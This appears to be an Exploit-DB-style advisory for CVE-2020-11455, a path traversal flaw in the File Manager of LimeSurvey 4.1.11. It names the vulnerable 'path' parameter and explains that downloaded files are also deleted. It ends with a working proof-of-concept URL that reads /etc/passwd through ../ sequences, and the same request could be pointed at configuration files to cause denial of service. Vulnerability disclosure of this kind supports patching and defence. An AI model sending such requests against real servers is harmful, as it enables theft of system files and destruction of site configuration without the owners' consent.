# Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal# Date: 2020-04-02# Exploit Author: Matthew Aberegg, Michael Burkey# Vendor Homepage: https://www.limesurvey.org# Version: LimeSurvey 4.1.11+200316# Tested on: Ubuntu 18.04.4# CVE : CVE-2020-11455# Vulnerability Details# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey# that allows an attacker to download arbitrary files.The file manager functionality will also # delete the file after it is downloaded (if the web service account has permissions to do so), # allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter :"path"# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd